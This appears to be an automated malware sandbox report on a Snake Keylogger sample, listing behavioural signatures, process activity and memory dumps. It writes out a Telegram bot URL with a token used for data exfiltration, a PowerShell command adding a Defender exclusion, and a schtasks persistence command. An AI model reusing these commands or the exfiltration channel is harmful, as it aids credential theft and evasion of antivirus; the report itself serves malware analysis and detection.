Analysis
- max time kernel
157s - max time network
171s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
06/12/2022, 10:33
General
- Target SecuriteInfo.com.Win32.PWSX-gen.23278.23240.exe
- Size 674KB
- Sample221206-mlkxdach7y
- SHA256 b88d6e2b1c5a0fbccf8af747e7bab2326b5bbf84ebceaec5d615a42a414c516c
Malware Config
Extracted
-
snakekeylogger
-
https://api.telegram.org/bot5527276937:AAFXPayV6BQ7JPPGsD5rUkKZ4cn3m-d_W-0/sendMessage?chat_id=5582419717
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.PWSX-gen.23278.23240.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.PWSX-gen.23278.23240.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\VpQggdqKT.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VpQggdqKT" /XML "C:\Users\Admin\AppData\Local\Temp\tmp824F.tmp"2⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
tmp824F.tmp
memory/1036-146-0x00000000050E0000-0x0000000005146000-memory.dmp
memory/1036-153-0x0000000007300000-0x000000000731A000-memory.dmp
memory/1036-158-0x0000000007620000-0x0000000007628000-memory.dmp
memory/1036-157-0x0000000007640000-0x000000000765A000-memory.dmp
memory/1036-139-0x0000000004A50000-0x0000000004A86000-memory.dmp
memory/1036-147-0x00000000058C0000-0x0000000005926000-memory.dmp
memory/1036-155-0x0000000007580000-0x0000000007616000-memory.dmp
memory/1036-154-0x0000000007370000-0x000000000737A000-memory.dmp
memory/1036-148-0x0000000005FF0000-0x000000000600E000-memory.dmp
memory/1036-144-0x0000000005160000-0x0000000005788000-memory.dmp
memory/1036-145-0x0000000004F10000-0x0000000004F32000-memory.dmp
memory/1036-151-0x00000000065A0000-0x00000000065BE000-memory.dmp
memory/1036-156-0x0000000007530000-0x000000000753E000-memory.dmp
memory/1036-152-0x0000000007940000-0x0000000007FBA000-memory.dmp
memory/1036-149-0x00000000065F0000-0x0000000006622000-memory.dmp
memory/1036-150-0x0000000070110000-0x000000007015C000-memory.dmp
memory/4076-135-0x0000000005300000-0x000000000530A000-memory.dmp
memory/4076-132-0x00000000008D0000-0x000000000097E000-memory.dmp
memory/4076-133-0x0000000005990000-0x0000000005F34000-memory.dmp
memory/4076-134-0x00000000053E0000-0x0000000005472000-memory.dmp
memory/4076-136-0x000000000B2A0000-0x000000000B33C000-memory.dmp
memory/4584-143-0x0000000000400000-0x0000000000426000-memory.dmp
memory/4584-159-0x0000000006010000-0x00000000061D2000-memory.dmp